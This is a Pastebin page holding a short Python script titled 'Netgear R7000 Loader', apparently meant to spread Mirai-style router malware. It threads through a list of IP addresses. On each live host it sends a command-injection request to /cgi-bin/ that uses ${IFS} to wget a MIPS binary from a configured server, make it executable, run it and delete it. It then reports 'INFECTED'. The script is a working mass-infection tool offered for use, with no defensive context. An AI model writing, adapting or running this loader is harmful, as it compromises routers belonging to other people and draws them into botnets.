Advertisement
miraip0ts

Netgear R7000 Loader

Mar 22nd, 2017
915
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! python !#
  2. #r7000 negear loader
  3.  
  4. import threading, random, socket, time, sys, requests, re
  5.  
  6.  
  7. if len(sys.argv) < 2:
  8.     print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
  9.     sys.exit()
  10.  
  11. server_ip = "1.1.1.1"
  12. port = 8443
  13. # CONFIGURE URL LINE 33 MIPS BINARY DEFAULT: "ntpd"
  14. class r7000(threading.Thread):
  15.     def __init__ (self, ip):
  16.         threading.Thread.__init__(self)
  17.         self.ip = str(ip).rstrip('\n')
  18.     def run(self):
  19.         try:
  20.             try:
  21.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  22.                 s.settimeout(4)
  23.                 s.connect((self.ip, port))
  24.                 s.close()
  25.                 fail = 0
  26.             except:
  27.                 fail = 1
  28.                 pass
  29.             try:
  30.                 if fail:
  31.                     pass
  32.                 else:
  33.                     r = requests.get("http://"+self.ip+":8443/cgi-bin/;cd${IFS}/var/tmp;${IFS}wget${IFS}http://"+server_ip+"/ntpd;${IFS}chmod${IFS}777${IFS}ntpd;${IFS}./ntpd;${IFS}rm${IFS}-rf${IFS}ntpd", timeout=12)
  34.                     if r.status_code == 200 and "Not Found" not in r.text:
  35.                         print "INFECTED "+self.ip
  36.                     elif r.status_code == 404:
  37.                         sys.exit()
  38.             except:
  39.                 pass
  40.         except Exception as e:
  41.             pass
  42.  
  43. ips = open(sys.argv[1], "r").readlines()
  44. for ip in ips:
  45.     try:
  46.         t = r7000(ip)
  47.         t.start()
  48.         time.sleep(0.01)
  49.     except Exception as e:
  50.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement